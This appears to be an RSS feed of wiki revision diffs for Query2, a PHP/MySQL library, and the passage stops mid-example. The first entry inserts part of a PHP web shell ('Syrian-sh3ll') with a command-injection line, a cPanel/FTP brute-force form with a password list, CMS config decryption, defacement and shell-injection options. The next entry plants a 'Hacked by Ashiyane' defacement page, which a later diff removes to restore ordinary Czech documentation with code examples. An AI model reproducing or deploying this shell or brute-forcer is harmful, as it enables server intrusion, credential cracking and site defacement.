&lt;textarea rows='12' name='users' cols='23' &gt;&quot;;
system('ls /var/mail');
echo &quot;&lt;/textarea&gt;
&lt;textarea rows='12' name='passwords' cols='23' &gt;123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\n332211\n!@#$%^\n^%$#@!.\n!@#$%^&amp;\n!@#$%^&amp;*\n!@#$%^&amp;*(\npassword\npasswd\npasswords\npass\np@assw0rd\npass@word1
&lt;/textarea&gt;
&lt;input type='text' name='target' size='16' value='127.0.0.1' &gt;
&lt;input name='cracktype' value='cpanel' checked type='radio'&gt;&lt;sy&gt;Cpanel (2082)&lt;/sy&gt;
&lt;input name='cracktype' value='ftp' type='radio'&gt;&lt;sy&gt;Ftp (21)&lt;/sy&gt;
&lt;input type='submit' value='   Crack it !   ' name='BruteForceCpanelAndFTP' &gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Cpanel And FTP BruteForce Attacker --&gt;
&lt;/td&gt;
&lt;td valign='top'&gt;
&lt;!-- Scripts Hacking --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Scripts Hacking&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='HOST' id='HOST' value='127.0.0.1' onblur='Blur(\&quot;HOST\&quot;,\&quot;127.0.0.1\&quot;);' onclick='Clear(\&quot;HOST\&quot;,\&quot;127.0.0.1\&quot;);'&gt;
						&lt;input type = 'text' name='USER' id='USER' value='DB Username' onblur='Blur(\&quot;USER\&quot;,\&quot;DB Username\&quot;);' onclick='Clear(\&quot;USER\&quot;,\&quot;DB Username\&quot;);'&gt;
						&lt;input type = 'text' name='PASS' id='PASS' value='DB Password' onblur='Blur(\&quot;PASS\&quot;,\&quot;DB Password\&quot;);' onclick='Clear(\&quot;PASS\&quot;,\&quot;DB Password\&quot;);'&gt;
						&lt;input type ='text' name='DB' id='DB' value='DB Name' onblur='Blur(\&quot;DB\&quot;,\&quot;DB Name\&quot;);' onclick='Clear(\&quot;DB\&quot;,\&quot;DB Name\&quot;);'&gt;
						&lt;input type ='text' name='PREFIX' id='Prefix' value='Prefix' onblur='Blur(\&quot;Prefix\&quot;,\&quot;Prefix\&quot;);' onclick='Clear(\&quot;Prefix\&quot;,\&quot;Prefix\&quot;);'&gt;
						&lt;select name ='ScriptType' id='ScriptType' onchange='ScriptsType();' &gt;
						&lt;option value ='vb'&gt;VBulletin&lt;/option&gt;
						&lt;option value ='wp'&gt;WordPress&lt;/option&gt;
						&lt;option value ='jos'&gt;Joomla&lt;/option&gt;
						&lt;option value ='ipb'&gt;IP.Board&lt;/option&gt;
						&lt;option value ='phpbb'&gt;PHPBB&lt;/option&gt;
						&lt;option value ='mybb'&gt;MyBB&lt;/option&gt;
						&lt;option value ='smf'&gt;SMF&lt;/option&gt;
						&lt;/select&gt;
						&lt;select name='hackingType' id='hackingType' onchange='hackingTypes();'&gt;
						&lt;option value='indexChanger'&gt;Index Changer&lt;/option&gt;
						&lt;option value='decrypt'&gt;Decrypt Config&lt;/option&gt;
						&lt;option value='changeInfo'&gt;Info Changer&lt;/option&gt;
						&lt;/select&gt;
						&lt;span id='InjectShellSpan'&gt;&lt;sy&gt;Inject Sh3ll ? &lt;/sy&gt;&lt;select name='injectShell' id='injectShell' onchange='injectShellFunction();'&gt;&lt;option value='no'&gt;NO&lt;/option&gt;&lt;option value='yes\'&gt;YES&lt;/option&gt;&lt;/select&gt;&lt;sy&gt; VBulletin Only ! &lt;/sy&gt;&lt;/span&gt;&lt;span id='InjectShellTypeSpan'&gt;&lt;/span&gt;
						&lt;div id='SHB'&gt;&lt;textarea name='INDEX' rows='9' id='theIndex' cols='45' onblur='Blur(\&quot;theIndex\&quot;,\&quot;Put Your Index Here !\&quot;);' onclick='Clear(\&quot;theIndex\&quot;,\&quot;Put Your Index Here !\&quot;);'  &gt;Put Your Index Here !&lt;/textarea&gt;&lt;/div&gt;	
&lt;input type='submit' value='Hack Now !!' name='UpdateIndex' &gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Scripts Hacking --&gt;
&lt;/td&gt;&lt;/tr&gt;
&quot;;
footer();
}
# ---------------------------------------#
#                 About                  #
#----------------------------------------#
else if($_GET['id']=='about')
{
	echo About();
	if($_POST['sendEmail'])
	{
		$ip = $_POST['ip'];
		$httpref = $_POST['httpref'];
		$httpagent = $_POST['httpagent'];
		$visitor = $_POST['visitor'];
		$visitormail = $_POST['visitormail'];
		$notes = $_POST['notes'];
		$yourEmail = &quot;sy34@msn.com&quot;;
		if (eregi('http:', $notes)) {
		echo &quot;&lt;script&gt;alert('this is not allowed !!');&lt;/script&gt;&quot;;
		echo &quot;&lt;script&gt;history.go(-1);&lt;/script&gt;&quot;;
		}
		if(!$visitormail == &quot;&quot; &amp;&amp; (!strstr($visitormail,&quot;@&quot;) || !strstr($visitormail,&quot;.&quot;)))
		{
			echo &quot;&lt;script&gt;alert('Enter Valid Email');&lt;/script&gt;\n&quot;;
			echo &quot;&lt;script&gt;history.go(-1);&lt;/script&gt;&quot;;
		}
		
		if(empty($visitor) || empty($visitormail) || empty($notes )) 
		{
			echo &quot;&lt;script&gt;alert('All Fields Are Required !!');&lt;/script&gt; &quot;;
			echo &quot;&lt;script&gt;history.go(-1);&lt;/script&gt;&quot;;
		}
		$todayis = date(&quot;l, F j, Y, g:i a&quot;) ;
		$subject = &quot;New Message From Syrian-sh3ll Users&quot;;
		$notes = stripcslashes($notes);
		$message = &quot; $todayis [EST] \n
		Message: $notes \n
		From: $visitor ($visitormail)\n
		Additional Info : IP = $ip \n
		Browser Info: $httpagent \n
		Referral : $httpref \n
		&quot;;
		$from = &quot;From: $visitormail\r\n&quot;;
		mail($yourEmail, $subject, $message, $from);

		echo '
		&lt;p align=&quot;center&quot;&gt;
		Date: '.$todayis.'&lt;br /&gt;
		Thank You : '.$visitor.' (  '.$visitormail.' )&lt;br /&gt;
		&lt;font color=&quot;#003399&quot;&gt;Your Message Sent Successfully ! &lt;/font&gt;&lt;br /&gt;';
		$notesout = str_replace(&quot;\r&quot;, &quot;&lt;br/&gt;&quot;, $notes);
		echo $notesout;
		echo '&lt;/p&gt;';
	}
	footer();
}
# ---------------------------------------#
#            Back Doors                  #
#----------------------------------------#
}
?&gt;
</ins>
</pre></description>
	</item>

	<item>
	  <title>hacked by ashiyane</title>
	  <pubDate>Fri, 28 Oct 2011 18:33:18 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=hacked+by+ashiyane</link>
	  <description><pre id="diff"><ins>{html}&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;unique2world&quot; http-equiv=&quot;designer&quot; /&gt;
&lt;title&gt;Hacked By Ashiyane Digital Security Team&lt;/title&gt;
&lt;link rel=&quot;icon&quot; href=&quot;http://unique2world.persiangig.com/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt;
&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://unique2world.persiangig.com/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt;
&lt;style type=&quot;text/css&quot;&gt; 
*,body,div,p,span,h6{padding: 0px;margin: 0px;}body{background-color: #000000;}img{border-width: 0px;-ms-interpolation-mode: bicubic;}.wrapper{margin: 50px 0px 10px 0px;font-family: tahoma;font-size: 12px;font-weight: bold;}.wrapper h6{color: #C0C0C0;font-size: 12px;text-shadow:1px 2px 3px #C0C0C0;}.wrapper p{color: #FF0000;padding:5px;}#box{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}#love{color: #008000;text-shadow:1px 2px 3px #008000;}#ashiyane{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}#greetz{color: #FF9933;text-shadow:1px 2px 3px #FF9933;}#defacer{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}.image{border-width: 0px;background-image: url('http://www.ashiyane.ir/images/tilesash.jpg');background-repeat: repeat-x;background-position: center center;height: 266px;width: 100%;}#music{padding: 20px 0px 0px 20px}/* Coding by: unique2world */
&lt;/style&gt;
&lt;/head&gt;
&lt;!--- Ashiyane.Org ---&gt;
&lt;body&gt;
&lt;center&gt;
&lt;div class=&quot;wrapper&quot;&gt;
&lt;h6&gt;Your Box Owned By&lt;/h6&gt;

&lt;p id=&quot;box&quot;&gt;
Behrooz_Ice - Q7x - Virangar - Sha2ow - Azazel - Ali_Eagle - keivan - iman_taktaz&lt;br /&gt;
taghva - elvator - Maste&amp;reg; - PrinceofHacking - Satanic2000 - Encoder&lt;br /&gt;
unique2world - iNJECTOR&amp;#8482; - Gladiator - HIDDEN-HUNTER - root3r&lt;br /&gt;
Http://Askn - mzhacker - n3me3iz - r3d.z0nE - mmilad200&lt;br /&gt;
Zend - Classic - __amir__ - fr0nk - AliAkh - *Alexander*&lt;br /&gt;
ruiner_blackhat - anti206 - Milad-Bushehr - Hijacker&lt;/p&gt;

&lt;p id=&quot;love&quot;&gt;We Love Iran&lt;/p&gt;
&lt;p id=&quot;ashiyane&quot;&gt;Ashiyane Digital Security Team&lt;/p&gt;
&lt;p id=&quot;greetz&quot;&gt;Greetz: M3QD4D - ELVATOR - BLACK - ANGOLA - ALI_EAGLE - ZEND - KEIVAN - CLASSIC - R3D.ZONE&lt;br /&gt;
And All Ashiyane Defacers&lt;/p&gt;
&lt;p id=&quot;defacer&quot;&gt;[cicili41] Was Here ...&lt;/p&gt;
&lt;div class=&quot;image&quot;&gt;&lt;img src=&quot;http://www.ashiyane.ir/images/iranash.jpg&quot; width=&quot;429&quot; height=&quot;266&quot;/&gt;&lt;/div&gt;
&lt;div id=&quot;music&quot;&gt;&lt;object type=&quot;application/x-shockwave-flash&quot; data=&quot;http://flash-mp3-player.net/medias/player_mp3_mini.swf&quot; width=&quot;200&quot; height=&quot;20&quot;&gt; &lt;param name=&quot;movie&quot; value=&quot;http://flash-mp3-player.net/medias/player_mp3_mini.swf&quot; /&gt; &lt;param name=&quot;bgcolor&quot; value=&quot;#000000&quot; /&gt;&lt;param name=&quot;FlashVars&quot; value=&quot;mp3=http://unique2world.persiangig.com/iran.mp3 &amp;amp;autoplay=1&quot; /&gt;&lt;/object&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;/center&gt;

&lt;/body&gt;
&lt;!--- Ashiyane.Org ---&gt;
&lt;/html&gt;
?X{/html}</ins>
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Fri, 28 Oct 2011 17:49:38 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff"></pre></description>
	</item>

	<item>
	  <title>hacked by ashiyane</title>
	  <pubDate>Fri, 28 Oct 2011 14:38:14 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=hacked+by+ashiyane</link>
	  <description><pre id="diff"><del>{html}&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;unique2world&quot; http-equiv=&quot;designer&quot; /&gt;
&lt;title&gt;Hacked By Ashiyane Digital Security Team&lt;/title&gt;
&lt;link rel=&quot;icon&quot; href=&quot;http://unique2world.persiangig.com/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt;
&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://unique2world.persiangig.com/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt;
&lt;style type=&quot;text/css&quot;&gt; 
*,body,div,p,span,h6{padding: 0px;margin: 0px;}body{background-color: #000000;}img{border-width: 0px;-ms-interpolation-mode: bicubic;}.wrapper{margin: 50px 0px 10px 0px;font-family: tahoma;font-size: 12px;font-weight: bold;}.wrapper h6{color: #C0C0C0;font-size: 12px;text-shadow:1px 2px 3px #C0C0C0;}.wrapper p{color: #FF0000;padding:5px;}#box{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}#love{color: #008000;text-shadow:1px 2px 3px #008000;}#ashiyane{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}#greetz{color: #FF9933;text-shadow:1px 2px 3px #FF9933;}#defacer{color: #FF0000;text-shadow:1px 2px 3px #FF0000;}.image{border-width: 0px;background-image: url('http://www.ashiyane.ir/images/tilesash.jpg');background-repeat: repeat-x;background-position: center center;height: 266px;width: 100%;}#music{padding: 20px 0px 0px 20px}/* Coding by: unique2world */
&lt;/style&gt;
&lt;/head&gt;
&lt;!--- Ashiyane.Org ---&gt;
&lt;body&gt;
&lt;center&gt;
&lt;div class=&quot;wrapper&quot;&gt;
&lt;h6&gt;Your Box Owned By&lt;/h6&gt;</del><ins>{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.</ins>

<del>&lt;p id=&quot;box&quot;&gt;
Behrooz_Ice</del><ins>!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna</ins> - <del>Q7x</del><ins>celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný</ins> - <del>Virangar</del><ins>Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně</ins> - <del>Sha2ow</del><ins>tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry</ins> - <del>Azazel - Ali_Eagle - keivan - iman_taktaz&lt;br /&gt;
taghva - elvator - Maste&amp;reg; - PrinceofHacking - Satanic2000 - Encoder&lt;br /&gt;
unique2world - iNJECTOR&amp;#8482; - Gladiator - HIDDEN-HUNTER - root3r&lt;br /&gt;
Http://Askn - mzhacker - n3me3iz - r3d.z0nE - mmilad200&lt;br /&gt;
Zend - Classic - __amir__ - fr0nk - AliAkh - *Alexander*&lt;br /&gt;
ruiner_blackhat - anti206 - Milad-Bushehr - Hijacker&lt;/p&gt;</del><ins>v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]</ins>

<del>&lt;p id=&quot;love&quot;&gt;We Love Iran&lt;/p&gt;
&lt;p id=&quot;ashiyane&quot;&gt;Ashiyane Digital Security Team&lt;/p&gt;
&lt;p id=&quot;greetz&quot;&gt;Greetz: M3QD4D - ELVATOR - BLACK - ANGOLA - ALI_EAGLE - ZEND - KEIVAN - CLASSIC - R3D.ZONE&lt;br /&gt;
And All Ashiyane Defacers&lt;/p&gt;
&lt;p id=&quot;defacer&quot;&gt;[cicili41] Was Here ...&lt;/p&gt;
&lt;div class=&quot;image&quot;&gt;&lt;img src=&quot;http://www.ashiyane.ir/images/iranash.jpg&quot; width=&quot;429&quot; height=&quot;266&quot;/&gt;&lt;/div&gt;
&lt;div id=&quot;music&quot;&gt;&lt;object type=&quot;application/x-shockwave-flash&quot; data=&quot;http://flash-mp3-player.net/medias/player_mp3_mini.swf&quot; width=&quot;200&quot; height=&quot;20&quot;&gt; &lt;param name=&quot;movie&quot; value=&quot;http://flash-mp3-player.net/medias/player_mp3_mini.swf&quot; /&gt; &lt;param name=&quot;bgcolor&quot; value=&quot;#000000&quot; /&gt;&lt;param name=&quot;FlashVars&quot; value=&quot;mp3=http://unique2world.persiangig.com/iran.mp3 &amp;amp;autoplay=1&quot; /&gt;&lt;/object&gt;
&lt;/div&gt;
&lt;/div&gt;</del><ins>!Download</ins>

<del>&lt;/center&gt;</del><ins>Aktuální stabilní verze je 1.1.3, k dispozici ke stáhnutí [zde|./download/Query2-1.1.3.tar.gz]. SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].</ins>

<del>&lt;/body&gt;
&lt;!--- Ashiyane.Org ---&gt;
&lt;/html&gt;
?X{/html}</del><ins>Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.


!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %x a %X - pouze vloží argument, volitelně escapuje - neobklopuje ' ani `. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** liší se od 1.0, dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}




!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
